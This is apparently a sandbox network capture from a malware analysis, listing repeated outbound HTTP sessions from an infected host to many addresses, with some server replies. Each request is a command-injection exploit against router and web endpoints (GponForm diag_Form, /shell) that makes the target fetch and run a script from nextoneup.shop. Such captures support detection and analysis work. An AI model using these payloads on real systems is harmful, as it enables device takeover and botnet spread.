Apr 14, 2024 04:01:15.181096077 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1822	192.168.2.13	48238	123.191.241.23	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181116104 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1823	192.168.2.13	39102	117.33.151.62	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181143045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1824	192.168.2.13	50890	5.117.159.106	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181164980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1825	192.168.2.13	38404	5.96.229.189	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181186914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1826	192.168.2.13	34542	117.236.114.66	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181231022 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1827	192.168.2.13	57664	42.67.59.195	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181277990 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1828	192.168.2.13	43150	117.178.252.145	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181289911 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1829	192.168.2.13	54426	210.56.215.29	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181318998 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1830	192.168.2.13	48264	210.229.167.188	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181334972 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1831	192.168.2.13	46636	2.179.113.245	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181355953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1832	192.168.2.13	44510	117.162.23.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181405067 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1833	192.168.2.13	60492	202.3.130.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181441069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1834	192.168.2.13	49978	5.218.198.9	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181447983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1835	192.168.2.13	38582	117.64.26.171	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181478024 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1836	192.168.2.13	53182	136.22.132.205	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.329562902 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:15.561322927 CEST	161	IN	HTTP/1.1 404 Not Found Server: gvs 1.0 Date: Sun, 14 Apr 2024 02:01:15 GMT X-Frame-Options: SAMEORIGIN X-XSS-Protection: 0 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1837	192.168.2.13	40824	208.88.74.79	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.342344999 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:15.585465908 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Date: Sun, 14 Apr 2024 02:01:09 GMT Content-Length: 1144 Data Raw: 3c 48 54 4d 4c 3e 0d 0a 3c 48 45 41 44 3e 0d 0a 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 42 41 53 45 20 68 72 65 66 3d 22 2f 65 72 72 6f 72 5f 64 6f 63 73 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 42 41 53 45 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 0d 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0d 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 64 6f 63 75 6d 65 6e 74 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0d 0a 3c 50 3e 0d 0a 3c 48 52 3e 0d 0a 3c 41 44 44 52 45 53 53 3e 0d 0a 57 65 62 20 53 65 72 76 65 72 20 61 74 20 26 23 31 30 32 3b 26 23 31 30 35 3b 26 23 31 30 33 3b 26 23 31 30 34 3b 26 23 31 31 36 3b 26 23 31 30 32 3b 26 23 31 31 31 3b 26 23 31 31 34 3b 26 23 31 31 35 3b 26 23 31 30 35 3b 26 23 31 30 33 3b 26 23 31 30 34 3b 26 23 31 31 36 3b 26 23 34 36 3b 26 23 31 31 31 3b 26 23 31 31 34 3b 26 23 31 30 33 3b 0d 0a 3c 2f 41 44 44 52 45 53 53 3e 0d 0a 3c 2f 42 4f 44 59 3e 0d 0a 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a 3c 21 2d 2d 0d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0d 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0d 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0d 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0d 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0d 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0d 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0d 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0d 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0d 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0d 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0d 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0d 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0d 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE><BASE href="/error_docs/">...[if lte IE 6]></BASE><![endif]--></HEAD><BODY><H1>Not Found</H1>The requested document was not found on this server.<P><HR><ADDRESS>Web Server at fightforsight.org</ADDRESS></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five hundred and twelve bytes minimum. - Of course, that
Apr 14, 2024 04:01:15.587343931 CEST	69	IN	Data Raw: 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 6e 67 0d 0a 20 20 20 2d 20 72 69 67 68 74 20 6e 6f 77 2e 0d 0a 20 20 20 2d 2d 3e 0d 0a Data Ascii: 's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port
1838	192.168.2.13	33018	201.211.35.185	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.381803989 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:15.706881046 CEST	148	IN	HTTP/1.1 307 LOCATION: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1839	192.168.2.13	50318	45.116.167.168	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.408118963 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:15.719352007 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:15 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1840	192.168.2.13	36688	23.41.225.135	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.421979904 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:15.758905888 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:15 GMT Date: Sun, 14 Apr 2024 02:01:15 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 63 30 35 31 63 37 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 35 26 23 34 36 3b 32 65 61 61 66 35 61 65 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 36 63 30 35 31 63 37 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 35 26 23 34 36 3b 32 65 61 61 66 35 61 65 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.6c051c78.1713060075.2eaaf5ae<P>https://errors.edgesuite.net/9.6c051c78.1713060075.2eaaf5ae</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1841	192.168.2.13	47422	156.250.20.101	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.422866106 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

